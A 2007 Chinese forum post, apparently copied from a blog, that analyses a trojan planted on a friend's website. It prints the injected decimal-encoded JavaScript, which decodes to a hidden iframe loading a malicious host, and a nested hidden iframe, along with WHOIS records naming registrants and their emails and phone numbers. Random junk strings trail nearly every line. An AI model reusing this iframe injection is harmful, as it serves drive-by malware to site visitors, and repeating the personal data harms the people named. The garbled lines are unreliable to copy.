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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, wr$M$i:  
k1{K*O$e  
http://www.areway.cn/?p=175 6{n!Cb[e  
F'4w;-ax  
1(I6.BHW  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: q7_ m&-0)  
          nD`w/0hT<  
<script>t=’60,105,102,114,97,109,101, 9Iwe2lu  
32,115,114,99,61,104,116,116,112,58,47,47, G6/p1xy>o:  
102,114,101,101,46,117,45,117,117,117,46,99, |iE50,  
110,47,101,114,114,111,114,46,104,116,109, dQV;3^iUY  
32,119,105,100,116,104,61,49,48,48,32,104, YQHw1  
101,105,103,104,116,61,48,62,60,47,105,102, }<@b=_>S  
114,97,109,101,62′; WD]p U  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> QdL`|  
                                                                                                  YwDbPX  
<script>t=’60,105,102,114,97,109,101,32,115, W6?pswQ  
114,99,61,104,116,116,112,58,47,47,102,114, rH_\ d?b  
101,101,46,117,45,117,117,117,46,99,110,47, nqI@Y)  
101,114,114,111,114,46,104,116,109,32,119, eg(6^:z?f  
105,100,116,104,61,49,48,48,32,104,101,105, eJxw) zd7  
103,104,116,61,48,62,60,47,105,102,114,97, qf!p 9@4F[  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); YH vLGc%  
document.write(t);</script> oU056  
                                                                                                  ?OcJ )5C4  
<html xmlns=” UTH*bL5/J2  
http://www.w3.org/1999/xhtml kCR_tn 4  
“> o4m\~as)Y  
<head> k5:G-BQ:  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> H*ow\ Ct  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 'p> Ra/4  
<title>首页 - 爱生活家庭网 mZSD(  
                                                                                                                                                    M?Dfu .t  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 DI:]GED" =  
转换字符串后的大概内容是(谁点击后果自付): NdMb)l)m  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… nuk*.Su  
                                                                                                                                  =Xi07_8Ic<  
查询玉米u-uuu.cn的详细信息: 3Dng 1}  
Domain Name: u-uuu.cn :~2vJzp@?  
ROID: 20070901s10001s64972306-cn 2%LL Sa  
Domain Status: ok YB(Q\hT~\;  
Registrant Organization: 王雷 p1Jh0o8  
Registrant Name: 王雷 b\yXbyjZ3.  
Administrative Email: czlovexs@126.com 06O2:5zF  
Sponsoring Registrar: 北京万网志成科技有限公司 JMrEFk  
Name Server:ns.yovole.com SxOC1+Oy  
Name Server:ns1.yovole.com TW)c#P43K  
Registration Date: 2007-09-01 17:54 (s.0P O`  
Expiration Date: 2008-09-01 17:54 ,\_1w  
最后PING了一下地址 都没有什么…. ,K9*%rW)  
                                                                                                {:6r;TB  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. ,}3 'I [  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> W42 iu"@  
<script language=”javascript” src=” S2HcG 1J  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script )c8rz[i  
> fmU {  
这个玉米应该有可能是木马作者的: 8(pp2rlR  
foafau.info的详细信息: a1EOJ^}0  
Access to INFO WHOIS information is provided to assist persons in &"yx<&c}  
determining the contents of a domain name registration record in the y0sR6TY)f  
Afilias registry database. The data in this record is provided by  Uwf +  
Afilias Limited for informational purposes only, and Afilias does not yv t.  
guarantee its accuracy.  This service is intended only for query-based ]A~WIF  
access. You agree that you will use this data only for lawful purposes [<n2Uz7MP  
and that, under no circumstances will you use this data to: (a) allow, (}Z@R#njH  
enable, or otherwise support the transmission by e-mail, telephone, or /rWd=~[MO  
facsimile of mass unsolicited, commercial advertising or solicitations 3{'Ne}5%I  
to entities other than the data recipient’s own existing customers; or 5rw 7;'  
(b) enable high volume, automated, electronic processes that send dP3CG8w5  
queries or data to the systems of Registry Operator, a Registrar, or i3tg6o4C  
Afilias except as reasonably necessary to register domain names or GeyvId03H  
modify existing registrations. All rights reserved. Afilias reserves aI P  
the right to modify these terms at any time. By submitting this query, EMY/~bQW  
you agree to abide by this policy. t| g4m[kr  
Domain ID:D22418703-LRMS C 3^JAP  
Domain Name:FOAFAU.INFO -`'I{g&A  
Created On:20-Nov-2007 16:05:42 UTC R%{<mno/_  
Last Updated On:20-Nov-2007 16:05:44 UTC SIBtmm1W  
Expiration Date:20-Nov-2008 16:05:42 UTC  7''??X  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) A,JmX  
Status:CLIENT DELETE PROHIBITED ns9U/ :L  
Status:CLIENT RENEW PROHIBITED /rK}?U  
Status:CLIENT TRANSFER PROHIBITED (?n=33}Ci  
Status:CLIENT UPDATE PROHIBITED 8EW_V$>R  
Status:TRANSFER PROHIBITED f.D?sHAn  
Registrant ID:GODA-040110615 [%q@]\U$s  
Registrant Name:liu hong dq(uVW^&ae  
Registrant Organization: a zCf  
Registrant Street1:beijing ;&9)I8Us  
Registrant Street2: "|EM;o  
Registrant Street3: ]D?"aX'q>  
Registrant City:beijing ")SFi^]  
Registrant State/Province: T1ut"Zu  
Registrant Postal Code:100000 |n2qVR,  
Registrant Country:CN ) pzy  
Registrant Phone:+86.860108888777 Fq0i`~L~  
Registrant Phone Ext.: dMh:ulIY>  
Registrant FAX: 3eb%OEMYk  
Registrant FAX Ext.: 2L3)#22m*  
Registrant Email:bbbshiji@163.com /5S30 |K  
Admin ID:GODA-240110615 sd*p/Q|4  
Admin Name:liu hong h k] N6+@  
Admin Organization: 6.sx?YYM  
Admin Street1:beijing CSJdvxb  
Admin Street2: ~-ia+A6GIV  
Admin Street3: ]^yFaTfS  
Admin City:beijing 8[a=OP  
Admin State/Province: &Y!-%{e  
Admin Postal Code:100000 IdzxS  
Admin Country:CN v:IpMU-+\  
Admin Phone:+86.860108888777 WffQ:L?  
Admin Phone Ext.: &-;4.op  
Admin FAX: zNs55e.rx  
Admin FAX Ext.: xcd#&  
Admin Email:bbbshiji@163.com S=MEG+Ad  
Billing ID:GODA-340110615 X3{G:H0\p  
Billing Name:liu hong yQ U{ zY  
Billing Organization: .CL[_;}  
Billing Street1:beijing Q A< Rhv,  
Billing Street2: $mu^G t  
Billing Street3: *1 uKr9  
Billing City:beijing o*-)Tq8GHE  
Billing State/Province: U_M$#i{_  
Billing Postal Code:100000 '}9x\3E  
Billing Country:CN hpHr\g  
Billing Phone:+86.860108888777 #*D)Q/k  
Billing Phone Ext.: =b%MXT  
Billing FAX: 1a?!@g )  
Billing FAX Ext.: O9G[j=U  
Billing Email:bbbshiji@163.com }u\])I3  
Tech ID:GODA-140110615 $:8x(&+/@  
Tech Name:liu hong V\>K]mwD  
Tech Organization: 1ct;A_48  
Tech Street1:beijing bLB:MW\%  
Tech Street2: vUN22;Z\  
Tech Street3: %P<hW+P!  
Tech City:beijing {>}!+k -`  
Tech State/Province: aT{_0m$G10  
Tech Postal Code:100000 v| gw9  
Tech Country:CN r A`V}>Xj  
Tech Phone:+86.860108888777 g,Lq)'N;O  
Tech Phone Ext.: P2NQHX  
Tech FAX: ^|/TC!v]M  
Tech FAX Ext.:  ]3x?  
Tech Email:bbbshiji@163.com \9cbI3rGz  
Name Server:NS27.DOMAINCONTROL.COM HguT"%iv  
Name Server:NS28.DOMAINCONTROL.COM _> 5(iDW0  
Name Server: Vp#JS3Y  
Name Server: t#V!8EpBg  
Name Server: (]Z_UTT  
Name Server: /sUYU (3  
Name Server: Ghu#XJB?  
Name Server: h`]Iy  
Name Server: \RNNg  
Name Server: YpWPz %`:  
Name Server: ]GMe \n  
Name Server: jfP*"uUK  
Name Server: rxe >}ZO  
                                                                                                          ,-$LmECg  
接着下载每个文件里面的代码: ,g%0`SO  
一步一步看.. D60aH!ft  
cm&nd'A't  
; ^*}#X d  
y0{u<"t%w  
iNWw;_|1  
:WjpzgPuN  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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